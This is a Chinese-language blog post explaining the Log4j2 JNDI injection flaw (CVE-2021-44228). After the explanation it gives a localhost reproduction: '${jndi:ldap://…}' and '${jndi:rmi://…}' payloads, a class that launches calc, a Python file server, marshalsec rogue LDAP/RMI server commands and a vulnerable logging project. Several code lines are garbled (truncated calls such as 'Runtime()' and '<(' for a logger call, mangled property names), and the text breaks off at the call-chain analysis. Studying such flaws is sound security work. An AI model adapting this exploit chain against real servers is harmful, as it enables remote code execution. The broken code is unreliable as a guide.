Log4j2zeroday(CVE-2021-44228)漏洞浅析
引⾔: 不管是什么编程语⾔,不管是前端后端还是客户端,对打⽇志都不会陌⽣。通过⽇志,可以帮助我们了解程序的运⾏情况,排查程序运⾏中出现的问题。在Java技术栈中,⽤的⽐较多的⽇志输出框架主要是log4j2和logback。我们经常会在⽇志中输出⼀些变量,⽐如:logger.info(“proj name: {}”, name),那作为⼀个优秀的全异步⽇志框架log4j2是否就是完美⽆瑕的呢?No,当然不是,最近全球知名开源⽇志组件 Apache Log4j2 被阿⾥团队曝出严重⾼危漏洞。该漏洞号称可以让⿊客不⽤知道服务器账号,就可以做到如⼊⽆⼈之境,进⽽对你的服务做任何你可以想象到的破坏。
漏洞描述: 阿⾥云安全团队报告Apache Log4j2某些功能存在递归解析功能,攻击者可直接构造恶意请求,触发远程代码执⾏漏洞。Spring-Boot-strater-log4j2、Apache Struts2、Apache Solr、Apache Flink、Apache Druid、ElasticSearch、Flume、Dubbo、Redis、Logstash、Kafka均受影响。
漏洞编号: CVE-2021-44228
CVSS评分:10.0(最⾼只能10分)
基本原理:
1.时序图
2.流程图
具体细节实现:
1.伪装⼀个请求体,包含JNDI可执⾏的服务,以下展⽰LDAP与RMI两种请求格式:
LDAP: ${jndi:ldap://127.0.0.1:1234/calc}
RMI: ${jndi:rmi://127.0.0.1:1234/calc}
2.Service App在恰巧输出了请求体或者⼊参的log⽇志时,则会触发此URL的请求,进⼀步主动请求了攻击者提前准备好的的LADP/RMI Service App
3.利⽤LDAP/RMI的特性,我们可以伪装返回值,含有待执⾏的恶意Class⽂件地址以及Class类名
4.LDAP服务不到对应Class⽂件就会触发JNDI的机制从远程服务器中下载Class中
5.Malicious Service App提供可执⾏Class⽂件下载,Service App拿到到Class⽂件后会触发反序列化执⾏代码,达到了远程执⾏代码的⽬的
名词解释:
JNDI (Java Naming and Directory Interface) 是⼀组应⽤程序接⼝,它为开发⼈员查和访问各种资源提供了统⼀的通⽤接⼝,可以⽤来定位⽤户、⽹络、机器、对象和服务等各种资源。⽐如可以利⽤JNDI在局域⽹上定位⼀台打印机,也可以⽤JNDI来定位数据库服务或⼀个远程Java对象。简单理解就是有⼀个类似于字典的数据源,你可以通过JNDI接⼝,传⼀个name进去,就能获取到对象了。援引⽹上的说法,jndi就是java⼀套资源发现和使⽤的接⼝,⽤来将各种资源做整合,程序员不⽤关⼼底层配置和代码实现,将资源拿来⽤就可以了。
RMI(Remote Method Invocation)是专为Java环境设计的远程⽅法调⽤机制,远程服务器实现具体的Java⽅法并提供接⼝,客户端本地仅需根据接⼝类的定义,提供相应的参数即可调⽤远程⽅法。RMI核⼼特点之⼀就是动态类加载,如果当前JVM中没有某个类的定义,它可以从远程URL去下载这个类的class,动态加载的对象class⽂件可以使⽤Web服务的⽅式进⾏托管。这可以动态的扩展远程应⽤的功能。在JVM之间通信时,RMI对远程对象和⾮远程对象的处理⽅式是不⼀样的,它并没有直接把远程对象复制⼀份传递给客户端,⽽是传递了⼀个远程对象的Stub,Stub基本上相当于是远程对象的引⽤或者代理。Stub对开发者是透明的,客户端可以像调⽤本地⽅法⼀样直接通过它来调⽤远程⽅法。Stub中包含了远程对象的定位信息,如Socket端⼝、服务端主机地址等等,并实现了远程调⽤过程中具体的底层⽹络通信细节,所以RMI远程调⽤逻辑是这样的:
LDAP即Lightweight Directory Access Protocol(轻量级⽬录访问协议),基于TCP/IP协议,可以理解为⽬录是⼀个为查询、浏览和搜索⽽优化的专业分布式数据库,它呈树状结构组织数据,就好象Linux/Unix系统中的⽂件⽬录⼀样。⽬录数据库和关系数据库不同,它有优异的读性能,但写性能差,并且没有事务处理、回滚等复杂功能,不适于存储修改频繁的数据。所以⽬录天⽣是⽤来查询的,就
好像它的名字⼀样。简单理解就是有⼀个类似于字典的数据源,你可以通过LDAP协议,传⼀个name进去,就能获取到数据。
基于以上名词的理解,那么本次漏洞的原因就很好理解了
那log4j2既然是⼀个⽇志框架, 那应该是打印到控制台才对, 为什么⼀个简单的打印会爆出如此可怕级别的漏洞呢, 那是因为log4j2不仅仅只⽤于输出⼀段⽂字, 甚⾄可以通过⽇志输出⼀个Java对象,但是如果这个对象并不在当前程序中,⽽是在其他地⽅,⽐如说在某个⽂件中,甚⾄可能在⽹络上的某个地⽅,这种时候怎么办呢?log4j2⽜逼的地⽅就来了,它除了可以输出程序中的变量,甚⾄提供了⼀个叫**Lookup**的东西,⽤来输出更多内容。
lookup,顾名思义就是查、搜索的意思,那在log4j2中,就是允许在输出⽇志的时候,通过某种⽅式去查要输出的内容。
⾸先,它发现了字符串中有 ${},知道这个⾥⾯包裹的内容是要单独处理的。
其次将内容进⼀步解析,发现是JNDI扩展内容。
再进⼀步解析,发现了是LDAP协议,并到对应的LDAP服务器地址和对应的类⽂件名称。
最后,调⽤具体负责LDAP的模块去请求对应的数据。
问题点就出在还可以请求Java对象, 我们都知道Java对象⼀般只存在于内存中,但也可以通过序列化的⽅式将其存储到⽂件中,或者通过⽹络传输。
当然如果是通过我们定义的⽹络路径传输当然并不是什么问题, 那么如果此⽹络路径是恶意路径呢, 是⼀个⿊客服务器路径呢这就是⿍⿍⼤名的JNDI注⼊,即某代码中存在JDNI的string可控的情况,可构造恶意RMI或者LDAP服务端,导致远程任意类被加载,造成任意代码执⾏。
JNDI注⼊中RMI和LDAP与JDK版本的关系,参考这张图:
引⽤来源: xz.aliyun/t/6633
RMI + JNDI Reference利⽤⽅式:
JDK 6u132, JDK 7u122, JDK 8u113
com.ustURLCodebase
com.ustURLCodebase 的默认值变为false
即默认不允许从远程的Codebase加载Reference⼯⼚类
apachelog4j2漏洞LDAP + JDNI Reference利⽤⽅式:
JDK 6u211,7u201, 8u191, 11.0.1之后
com.sun.jndi.ustURLCodebase 属性的默认值被调整为false
好了, 说了那么多, 漏洞如何复现呢?接下来让我们尝试复现此漏洞
环境准备: Win10 + jdk_1.8.0_292 + log4j-core_2.13.3 + log4j-api_2.13.3 + python_3.8 1. LDAP⽅式实现
1. 准备好待执⾏java代码并编译为class⽂件
public class calc {
static{
try{
Runtime rt = Runtime();
String[] commands ={"calc"};
Process pc = rt.exec(commands);
pc.waitFor();
}catch(Exception ignored){
}
}
}
javac calc.java
2. 在class⽂件⽬录下利⽤python搭建http服务传输class⽂件的服务
1. python -m SimpleHTTPServer 8080    //python2 模式命令
2. python -m http.server 8080          //python3 模式命令
3. 搭建并启动⼀个LDAP服务器, 监听1234端⼝
下载marshalsec(该项⽬是已经准备好的可以开启LDAP以及RMI服务的应⽤)
新建cmd窗⼝并执⾏以下命令
1. git clone github/mbechler/marshalsec.git
2. cd marshalsec
3. mvn clean package -DskipTests
4. cd target
5. java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "[ip]:[port]/#calc"1234  //ip port就填上上⾯搭建的class
传输服务的地址
4. 创建测试项⽬
项⽬中log4j版本依赖定义
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-core</artifactId>
<version>2.13.3</version>
</dependency>
<!-- mvnrepository/artifact/org.apache.logging.log4j/log4j-api -->
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-api</artifactId>
<version>2.13.3</version>
</dependency>
项⽬启动⽅法定义
public class log4jRCE {
private static final Logger logger = Logger(log4jRCE.class);
public static void main(String[] args){
<("${jndi:ldap://127.0.0.1:1234/calc}");
}
}
5. 启动项⽬执⾏⼊⼝⽅法发现本机的计算器窗⼝被打开
2. RMI⽅式实现
1. 将以上LDAP⽅式中第三步中的第5⼩步命令更换成
5. java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "[ip]:[port]/#calc"1234  //ip port就填上上⾯搭建的class传
输服务的地址
2. 将启动⼊⼝⽅法⽇志打印内容更换为
public class log4jRCE {
private static final Logger logger = Logger(log4jRCE.class);
public static void main(String[] args){
<("${jndi:rmi://127.0.0.1:1234/calc}");
}
}
⾄此, 漏洞复现完毕,接下来 我们深⼊⼀下调⽤链路究竟()是如何层层调⽤⾄JndiLookup.lookup的:
⾸先我们从()跟进⾄LogMessage.log⽅法

版权声明:本站内容均来自互联网,仅供演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系QQ:729038198,我们将在24小时内删除。